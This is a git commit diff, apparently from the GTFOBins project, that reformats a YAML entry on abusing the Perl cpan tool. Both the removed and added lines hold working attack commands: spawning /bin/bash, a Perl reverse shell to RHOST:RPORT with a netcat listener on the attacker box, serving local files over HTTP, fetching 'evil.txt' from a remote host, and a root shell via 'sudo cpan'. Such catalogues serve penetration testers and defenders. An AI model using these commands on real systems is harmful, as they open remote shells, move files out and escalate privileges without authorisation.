made fixes, thanks to egre55

This commit is contained in:
Shaksham Jaiswal 2018-11-06 13:13:35 +05:30 committed by Emilio
parent e600a4e610
commit b78d64c236

View File

@ -3,30 +3,30 @@ functions:
shell:
- description: cpan lets you execute perl commands with `! command`
code: |
$ cpan
cpan[1]> ! exec '/bin/bash'
cpan
! exec '/bin/bash'
reverse-shell:
- description: Run ``nc -lvp RPORT`` on the attacker box to receive the shell.
code: |
$ cpan
cpan[1]> ! use Socket; my $i="RHOST"; my $p=RPORT; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};
cpan
! use Socket; my $i="RHOST"; my $p=RPORT; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};
file-upload:
- description: Serve files in the local folder running an HTTP server on port 8080. Install dependency via `cpan HTTP::Server::Simple`.
code: |
$ cpan
cpan[1]> ! cpan[1]> ! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();
cpan
! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();
file-download:
- description: Fetch a remote file via HTTP GET request and store it in PWD.
code: |
$ cpan
cpan[1]> ! use File::Fetch; my $file = (File::Fetch->new(uri => 'http://RHOST/evil.txt'))->fetch();
cpan
! use File::Fetch; my $file = (File::Fetch->new(uri => 'http://RHOST/evil.txt'))->fetch();
sudo:
- code: |
$ sudo cpan
cpan[1]> ! exec '/bin/bash'
sudo cpan
! exec '/bin/bash'
---